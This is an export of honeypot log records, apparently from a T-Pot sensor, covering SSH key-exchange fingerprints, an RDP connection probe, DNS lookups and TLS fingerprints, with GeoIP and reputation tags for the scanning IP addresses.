29681	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:28:21.159235+03	2021-09-20 14:30:04.443554+03	{"_id": "WQb2AnwBvYTbRNuEzTd-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "9613363c6a74", "@version": "1", "timestamp": "2021-09-20T11:28:21.159235Z", "@timestamp": "2021-09-20T11:28:21.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29669	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:28:15.177191+03	2021-09-20 14:30:04.428523+03	{"_id": "Owb2AnwBvYTbRNuEtzeB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:28:14.524064+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 12972685459232, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51350, "dest_port": 3389, "timestamp": "2021-09-20T11:28:15.177191Z", "@timestamp": "2021-09-20T11:28:15.177Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29670	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:28:14.842582+03	2021-09-20 14:30:04.429524+03	{"_id": "PAb2AnwBvYTbRNuEuDep", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 51350, "dest_port": 3389, "timestamp": "2021-09-20T11:28:14.842582", "@timestamp": "2021-09-20T11:28:14.842Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
29671	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:28:15.898888+03	2021-09-20 14:30:04.430524+03	{"_id": "RAb2AnwBvYTbRNuEuzdq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 25988, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 951, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1426216641867944, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 37839, "timestamp": "2021-09-20T11:28:15.898888Z", "@timestamp": "2021-09-20T11:28:15.898Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29672	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:28:16.40764+03	2021-09-20 14:30:04.431523+03	{"_id": "RQb2AnwBvYTbRNuEuzdq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 1722, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1499336312633432, "@version": "1", "in_iface": "enp5s0", "src_port": 57078, "dest_port": 53, "timestamp": "2021-09-20T11:28:16.407640Z", "@timestamp": "2021-09-20T11:28:16.407Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29673	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:28:16.461779+03	2021-09-20 14:30:04.433524+03	{"_id": "Rwb2AnwBvYTbRNuEvDeS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35250, "dest_port": 443, "timestamp": "2021-09-20T11:28:16.461779", "@timestamp": "2021-09-20T11:28:16.461Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29674	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:28:11.515664+03	2021-09-20 14:30:04.434524+03	{"_id": "HAb2AnwBvYTbRNuEpzfg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:28:10.953865+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1342020250144265, "payload": "AAADzAYULyOVf6x17sdld3VKXh87BwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50284, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:28:11.515664Z", "@timestamp": "2021-09-20T11:28:11.515Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....../#...u..ewuJ^.;....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29675	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:28:11.23536+03	2021-09-20 14:30:04.436524+03	{"_id": "HQb2AnwBvYTbRNuEqTcH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.17.12", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50284, "timestamp": "2021-09-20T11:28:11.235360", "@timestamp": "2021-09-20T11:28:11.235Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29676	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:28:11.516329+03	2021-09-20 14:30:04.437524+03	{"_id": "IAb2AnwBvYTbRNuEqjcW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3e241db4de77", "@version": "1", "timestamp": "2021-09-20T11:28:11.516329Z", "@timestamp": "2021-09-20T11:28:11.516Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29677	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:28:21.158961+03	2021-09-20 14:30:04.438524+03	{"_id": "Wwb2AnwBvYTbRNuEzjf0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:28:20.598823+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 673766289187623, "payload": "AAADzAYU28s8fM1FkZDo4YCOjYc2CgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45794, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:28:21.158961Z", "@timestamp": "2021-09-20T11:28:21.158Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........<|.E........6\\n...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29678	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:28:20.882022+03	2021-09-20 14:30:04.440523+03	{"_id": "XQb2AnwBvYTbRNuE0Dcd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45794, "timestamp": "2021-09-20T11:28:20.882022", "@timestamp": "2021-09-20T11:28:20.882Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29679	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:28:20.877815+03	2021-09-20 14:30:04.441524+03	{"_id": "Vwb2AnwBvYTbRNuEzTd-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:45794 (192.168.176.2:22) [session: 9613363c6a74]", "session": "9613363c6a74", "@version": "1", "protocol": "ssh", "src_port": 45794, "dest_port": 22, "timestamp": "2021-09-20T11:28:20.877815Z", "@timestamp": "2021-09-20T11:28:20.877Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
